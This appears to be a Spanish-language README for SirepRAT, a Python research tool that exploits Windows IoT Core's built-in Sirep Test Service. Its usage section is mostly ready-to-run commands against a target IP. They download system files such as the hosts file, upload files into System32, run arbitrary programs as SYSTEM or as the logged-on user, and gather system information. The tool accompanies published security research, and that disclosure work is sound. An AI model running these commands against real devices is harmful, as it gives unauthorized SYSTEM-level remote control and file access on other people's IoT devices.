SirepRAT - RCE como SYSTEM en Windows IoT Core

SirepRAT ofrece capacidades RAT completas sin necesidad de escribir un RAT real en el objetivo.

Contexto

El método explota el Sirep Test Service que viene integrado y se ejecuta en las imágenes oficiales ofrecidas en el sitio de Microsoft. Este servicio es la parte cliente de la configuración HLK que se puede construir para realizar pruebas de controladores/hardware en el dispositivo IoT. Sirve el protocolo Sirep/WPCon/TShell.

Desglosamos el protocolo Sirep/WPCon y demostramos cómo este protocolo expone una interfaz de comandos remota para atacantes, que incluye capacidades RAT como obtener/colocar archivos arbitrarios en ubicaciones arbitrarias y obtener información del sistema.

Basándonos en los hallazgos extraídos de esta investigación sobre el servicio y el protocolo, construimos una sencilla herramienta en Python que permite explotarlos mediante los diferentes comandos soportados. La llamamos SirepRAT.

Cuenta con una interfaz de usuario fácil e intuitiva para enviar comandos a un objetivo Windows IoT Core. Funciona en cualquier dispositivo conectado por cable que ejecute Windows IoT Core con una imagen oficial de Microsoft.

Diapositivas y White Paper

Las diapositivas y el white paper de la investigación están en la carpeta docs

Configuración

pip install -r requirements.txt

Uso

Descargar archivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Subir archivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Ejecutar programa arbitrario

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Con argumentos, suplantando al usuario actualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Intenta ejecutarlo sin el indicador as_logged_on_user para demostrar la capacidad de ejecución como SYSTEM)

Obtener información del sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obtener información del archivo

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Consulta la ayuda para más detalles:

python SirepRAT.py --help

Autor

Dor Azouri (@bemikre)

Colaboradores

movatica (@movatica) - ¡portado a python 3! (en la recta final de 2020)

Licencia

BSD 3 - cláusula "New" o "Revised"